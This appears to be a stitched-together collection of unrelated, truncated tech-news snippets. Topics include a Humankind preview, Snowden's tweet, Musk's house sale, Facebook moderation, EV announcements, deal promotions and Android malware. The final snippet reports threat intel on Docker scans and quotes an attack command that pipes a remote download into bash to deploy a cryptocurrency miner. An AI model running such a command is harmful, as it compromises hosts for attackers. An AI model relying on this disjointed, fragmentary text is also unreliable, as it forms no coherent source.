I’ll save you some time: If you’re a 4X fan and you’re ready for an alternative to the Civilization formula you’re going to be very happy. Humankind isn’t trying to hide the fact that it’s here to take on the genre and challenge the top dog. But don’t take that to mean it’s a Civ knockoff or clone. Amplitude understands what makes a 4X game great (hint: it’s making an interface that makes 4X fans forget they’re essentially playing a spreadsheet) and, in what little was on display during the beta scenario, it proves it can deliver exactly that....

Let me rewind: Edward Snowden, everybody’s favorite fugitive-turned-technology-critic, shot out a seemingly off-the-cuff post on Twitter today professing his disdain for the current state of internet search: — Edward Snowden (@Snowden) November 16, 2021 In what, to this reporter, appears to be a very strange flex, Barry Schwartz quote-tweeted Snowden and called on fellow search engine expert and Google employee Danny Sullivan to opine on the matter: — Barry Schwartz (@rustybrick) November 16, 2021 I don’t understand exactly what’s happening here, but it looks like marketing....

Musk sold the house for $7 million to an LLC run by Hollywood screenwriter/producer Elizabeth Hunter, the spouse of Wilder’s nephew Jordan Walker-Pearlman. The estate, which reportedly can’t be seen from the street, spans 0.78 acre while the house itself covers 2,756 square feet and boasts five bedrooms and four-and-a-half bathrooms. There’s also a guest cottage. Back in May, Hard Fork shared a set of Musk’s tweets that showed he’d only sell Gene Wilder’s former pad if it wouldn’t be “torn down or lose any [of] its soul....

If you’re interested in learning about data analysis, the most powerful tool you have to accomplish that feat has likely been stashed away in your PC for years. It’s Microsoft Excel — and while you may only know it as a simple spreadsheet program, its power and versatility make it well equipped to the bedrock analytics work that most businesses are looking for. Of course, you’re likely far less equipped to do data analysis than Excel....

This step came after the Wall Street Journal (WSJ) pointed out the company’s policy executive, Ankhi Das, stopped moderators from removing hateful posts and accounts of politicians of BJP. More reporting outlined how Das and Facebook have sided with the Indian government over the years. Earlier this week, the company’s executives also appeared in front of a parliamentary committee, where both sides of the aisle questioned its executives about hate speech and misuse prevention on the platform....

This tool would be similar to the one we already have that allows us to download our Facebook information. While I’m sure many users already have their photos backed up to Google’s repositories, those who don’t might find this easy to use when it eventually rolls out to everyone. At the moment, the tool is in testing, with the company taking feedback from its users. The tool itself would be nifty enough, but it’s part of a larger endgame that involves Facebook, Google, Apple, Microsoft, and Twitter....

3D printing refers to a range of digital fabrication processes that build objects directly from computer models, without expensive tooling, in layers of material. Although 3D printing processes vary widely, including melting metal powder with lasers or hardening liquid plastic “ink” with ultraviolet light, most people tend to think of 3D printing desktop machines that melt spools of plastic. Since these are often built or designed by enthusiasts, they are very affordable, with some models costing under £200....

However, that looks like it will start to change for real over the next few years, as companies start to produce electrically powered large-scale commercial vehicles. Last week, Swedish automaker Volvo Trucks announced that it will start taking orders in Europe for its range of electric heavy-duty work vehicles next year, Business Insider reports. The company says the vehicles will go into production in 2022. [Read: What3words is about to make millions of car satnavs more accurate and easier to use] Depending on how the batteries are configured, the trucks could have up to 186 miles (300km) of range and a gross combined weight of up to 44 tonnes....

But it’s not keen to rest on its laurels. The Facebook-owned product is expanding into new territories, like shopping and payments. The company is also thinking about even showing ads on the app — but not everyone is happy with these developments. In fact, these have led one ex-WhatsApp executive to believe selling the product to Facebook was a mistake. Niraj Arora, former Chief Business Officer for WhatsApp, said in a Twitter thread that he regrets handing over the company to Zuckerberg & co....

At the Hon Hai Tech Day (HHTD21) on Monday, Foxconn unveiled three electric vehicle prototypes, hoping to grow its emergent auto segment into a $35.88 billion (NT$1 trillion) enterprise within the next five years. The three EVs — an SUV, a sedan, and a bus — were made by Foxtron, a joint venture between Foxconn and Yulon Motor, a Taiwanese automaker, which also produces Nissan and Mitsubishi cars for the local market....

If you’re unaware of Game Pass, it’s a monthly Xbox subscription from Microsoft that allows you to play online and access a library of over 100 titles. And I mean good titles. This has Halo, FIFA, Forza, Gears of War, and so much more. It’s crazily stacked. I’ll put it this way: after a couple of months with the Series X, I’m still in awe of what’s on offer on Game Pass....

But despite its Berkshire dump, the Gates Foundation’s stock portfolio was still worth $17.864 billion as of its latest SEC disclosure, up some $512 million since last quarter. (NB: If the visualisations don’t appear, try reloading this page in your browser’s “Desktop Mode.”) Still, the Foundation’s portfolio remains Buffett heavy, with $7.1 billion invested in Berkshire Hathaway — representing 40% of Gates’ total assets under management. After Buffett, Gates’ next biggest bets are infrastructure and industry stocks like Waste Management Inc ($1....

For a parent, there are few more anxiety-inducing moments than those times when you don’t know the exact whereabouts of your child. Of course, that fear is almost always calmed by their safe return. But the fear that that won’t be the case one day is almost too paralyzing to consider. The GeoZilla Phone GPS Locator and Tracker app was created to offer instant peace of mind by immediately locating any family member or friend via GPS tracking....

For young professionals just launching into the business world, there’s a steep learning curve. For every topic you covered in business school, there are three others you never anticipated — and you often don’t have the benefit of unlimited time to spot those holes in your training and catch up. While you can focus on a host of different training programs to hyper-focus on potential growth areas, strong well-rounded training like the courses found in The Complete Business Professional Bootcamp Bundle ($29....

You’ve heard the old saying all your life. Strike while the iron is hot. That means when a situation is poised and ready for you to take advantage, don’t sleep on it and let it slip. For those ready to take the plunge on boosting their online profile with some serious VPN protection, the iron is now piping hot. In addition to the regular extreme TNW Deal discount on a one-year subscription to industry-leading VPN provider NordVPN, shoppers can also stack an added 20 percent discount on top of those savings for a limited time....

The company announced integration with ParkMobile and Passport, allowing you to pay for your parking meter in some cities right within Maps. Once you arrive at your location, you’ll see a ‘Pay for Parking’ button in maps. Enter your meter number and payment info, and you’re good to go. Likewise, you can extend the time on your meter via Maps as well. Given we’re all trying to avoid unecessary touching these days, I appreciate that this means you don’t even need to touch a parking meter or switch to another app....

The best bit? The Big G says the apps were nixed before users could even download them. The bad news? They still made their way to the Play Store. What’s special about the Bread malware, which Google has been tracking since 2017, is it continued to evolve along with the Play Store’s defensive mechanisms. “Bread apps were forced to continually iterate to search for gaps,” write researchers Alec Guertin and Vadim Kotov....

Google’s Area 120 team has launched an Android app called Stack to solve this problem. The app lets you scan documents and then it uses AI to automatically name and sort them into different categories such as bills, IDs, and vehicles. The Area 120 team has worked with Google Clouds’ DocAI team to develop a machine-learning algorithm to identify important parts of a document, such as due date, and total amount due....

In a new blog post, the company revealed it has introduced new features to Search and Maps in the US to help you locate the nearest location where you can cast your vote — either in person or via a mail-in ballot. Simply search for “early voting locations” or “ballot drop boxes near me,” and Google will point you in the right direction. In addition to that, Google will also offer helpful tips and reminders like making sure your ballot is completed and sealed before submitting it....

According to security researchers at Bad Packets, the scans, which began over the weekend, identify vulnerabilities that allow bad actors to inject malicious code that deploys a cryptocurrency miner on a company’s Docker instances, ZDNet reports. These scans create a container using an Alpine Linux image, and execute the payload via:“Command”: “chroot /mnt /bin/sh -c ‘curl -sL4 https://t.co/q047bRPUyj | bash;’”,#threatintel pic.twitter.com/vxszV5SF1o — Bad Packets Report (@bad_packets) November 25, 2019 Troy Mursch, chief researcher and co-founder of Bad Packets, told ZDNet this type of activity is quite common....